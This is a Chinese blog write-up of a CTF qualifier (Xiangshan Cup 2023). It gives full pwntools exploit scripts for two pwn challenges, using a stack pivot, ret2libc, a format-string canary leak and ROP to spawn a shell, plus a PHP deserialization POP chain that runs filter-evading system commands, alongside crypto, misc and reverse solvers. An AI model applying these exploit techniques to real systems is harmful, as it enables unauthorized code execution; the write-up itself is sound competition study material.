2023中山市第三届香山杯网络安全大赛线上初赛

发布时间 2023-10-15 22:06:06作者: ve1kcon

被带飞了
image

PWN

move

先往变量 sskd 写入 0x20 字节,往第二个输入点输入 0x12345678 即可进入到第三个输入点,存在 0x8 字节的溢出。思路是在第一个输入点布置 rop 链,然后利用第三个输入点的溢出,打栈迁移

然后泄 libc 后重新返回到 main 函数,这里要注意的是移了栈之后,栈顶指针就指向 bss 段了,调试时发现继续往 sskd 写入的数据直接变成了第一个 read 函数的返回地址了

exp 如下

from pwn import *
from LibcSearcher import*
# p = process('./pwn')
p = remote('47.93.188.210', 41055)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn')

def debug(content):
	gdb.attach(p, content)
	pause()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401353
leave = 0x4012E0
sskd = 0x4050A0

payload = p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendafter('again!\n', payload)

payload = 0x12345678
p.sendafter('number', p32(0x12345678))

# debug('b *0x40124C')
# debug('b *0x4012a3')
payload = 'a'*(0x30) + p64(sskd-0x8) + p64(leave)
p.sendafter('TaiCooLa', payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.info('libc_base: ' + hex(libc_base))
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')

payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('again!\n', payload)

p.interactive()

Pwthon

python pwn?实际上也是去跑 c 程序,不过还是第一次见。封装了一个 so 库,在 python 代码中会去调用这个库的函数,这样的话,相比起常规 pwn 题,就是会不好去调试。将库文件丢进 ida 分析,表面很复杂,有种做 vm 题的感觉(bushi

实际上在第一个输入点输入0就能进入到 __pyx_f_3app_Welcome2Pwnthon 函数了,存在格式化字符串漏洞和栈溢出,而且直接给了 _pyx_f_3app_get_info 函数的地址,就能去计算这个库程序的基地址了,先泄 canary,后面就是 ret2libc 来 getshell 了

image

比较特别的点就是 __printf_chk 函数相较于普通的 printf 函数,不能使用 %N$ 的形式泄数据,然后格式化字符串的偏移是5

(刚开始发现在上图中第一个 read 处直接敲个回车或者发送刚好 0x100 字节的数据过去之后都能泄点栈数据出来,比赛做这道题时琢磨了挺久这些数据能怎么用,因为当时没配通本地运行环境,也不知道泄出的是什么数据,然后后面倒是没用上这些数据

赛后折腾了下运行环境,要和他生成 .so 用的 python3.7 版本一样才能运行,这样添加一下 syspath 就能直接 import app 了,在脚本中连gdb调试的话是这样写

gdb.debug(['python','main.py'])

断点断在 PyImport_ImportModule+4,然后一直往下运行看看那个包导入了 .so

exp 如下

from pwn import *
from LibcSearcher import*
p = remote('101.201.35.76', 20611)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p.sendline('0')

p.recvuntil('0x')
s = p.recv(12)
get_info_addr = int(s,16)
log.info("get_info_addr: " + hex(get_info_addr))
libc_base = get_info_addr - 0x68B0
log.info('libc_base: ' + hex(libc_base))

# 5+(0x118-0x10)/0x8
payload = '%p'*37 + 'flag' + '%p'
p.sendline(payload)
p.recvuntil('flag')
p.recvuntil('0x')
leak_canary = p.recv(16)
leak_canary = int(leak_canary,16)
log.info('leak_canary: ' + hex(leak_canary))

pop_rdi_ret = libc_base + 0x3f8f
pop_rsi_ret = libc_base + 0x3cd9
main = libc_base + 0x99F0
puts_plt = libc_base + 0x3710
puts_got = libc_base + 0x16078

payload =  'a'*0x108 + p64(leak_canary) + 'a'*8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base2 = puts_addr - libc.dump('puts')
log.info('libc_base2: ' + hex(libc_base2))
binsh = libc_base2 + libc.dump('str_bin_sh')
system = libc_base2 + libc.dump('system')

p.sendline('a')

ret = libc_base + 0x9A93
payload = 'a'*0x108 + p64(leak_canary) + 'a'*8
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)

p.interactive()

Misc

签到

base64解密+凯撒密码(位移是3)

image

pintu

脚本如下

from Crypto.Util.number import *
from PIL import Image
import os

path = r"C:\Users\V5nDEtt4\Desktop\pintu_26914c79abf08a72af534387e23ffdf6\pintu"
file_list = os.listdir(path)
size_list = []

bin_data = ""
for i in range(1,4704):
    im_path = path + f"\{i}.png"
    im = Image.open(im_path)

    size_list.append(im.size[1])
    
    pixel = im.getpixel((0,0))
    if pixel ==(0, 0, 0):
        bin_data += "0"
    else:
        bin_data += "1"

print(long_to_bytes(int(bin_data,2) ).decode())

size_data = ""
for i in range(len(size_list)):
    size_data += chr(int(str(size_list[i]), 8))

data = size_data.split(" ")
data_out = ""
for i in range(len(data)):
    data_out += chr(int(data[i]))
print(data_out)

image

image

这是一张png图片抽象化,用相关的工具解就可以,npiet.exe

image

Crypto

Lift

本题感觉就是原题改的

zarismine/small-private-d-RSA: master small private d RSA with moduli N=pr*qs,that d < 1-(3*r+s)/(r+s)^2 - eps (github.com)

上面是求出d的链接,完整脚本如下

from Crypto.Util.number import *
from gmpy2 import *


hint = 251
N = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
C = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162


a = E // hint
b = 39217838246811431279243531729119914044224429322696785472959081158748864949269


p = 67842402383801764742069883032864699996366777
q = 69367143733862710652791985332025152581988181

# Decrypt the message
decrypted_message = pow(C, b, N)

prime_power_list = [q**5, p]
root_list = []

for power in prime_power_list:
    modulo_ring = Zmod(power)
    text = int(C) % int(power)
    pe = invert(E // 251, euler_phi(power))
    root = int(pow(text, pe, power))
    roots = modulo_ring(root).nth_root(251, all=True)
    root_list.append(roots)

for root_q in root_list[0]:
    for root_p in root_list[1]:
        roots = [int(root_q), int(root_p)]
        decrypted_flag = crt(roots, prime_power_list)
        if len(bin(decrypted_flag)) < 520:
            print(long_to_bytes(decrypted_flag))

Reverse

URL从哪儿来

这个题目需要动态调试出flag

先使用IDA分析题目

image

在资源节中解密可以拿到数据,解密exe

image

找到GetTempPathA的位置下断点

然后dump对应的内存区块

打开新的exe进行动调,追踪到szurl

在IDA中就可以找到对应的关键函数的位置了

最后在X64dbg中找到对应的位置即可找到flag

hello_py

使用jadx打开,找main。跟随函数调用。

把apk改成zip解压后,找到app.imy,后缀改成zip,就可以找到关键的函数了。

虽然经过了混淆,但是能够识别出来是xxtea的加密,然后就是套个脚本,稍微改改就好。

#include <stdio.h>
#include <stdlib.h>
#define delta 0x9e3779b9
 
int main()
{
    unsigned int v[9] = {689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494};
    unsigned int key[4] = {12345678 ,12398712 ,91283904 ,12378192  };
    unsigned int sum = 0;
    unsigned int y,z,p,rounds,e;
    int n = 9;
    int i = 0;
    rounds = 6 + 52/n;
    y = v[0];
    sum = rounds*delta;
     do
     {
        e = sum >> 2 & 3;
        for(p=n-1;p>0;p--)
        {
            z = v[p-1];
            v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
            y = v[p];
        }
        z = v[n-1];
        v[0] -= (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))));
        y = v[0];
        sum = sum-delta;
     }while(--rounds);
 
    for(i=0;i<n;i++)
    {
        printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
    }
    return 0;
}

Web

PHP_unserialize_pro

链子:good::eval->__invoke->H4ck3r::func->____tostring->Welcome::echo-->__destruct

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
             if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
                 die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

$a=new Welcome();
$b=new G00d();
$c=new H4ck3r();
$a->name='A_G00d_H4ck3r';
$a->arg=$c;
$b->shell='system';
$b->cmd='cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
$c->func=$b;
echo serialize($a);
?>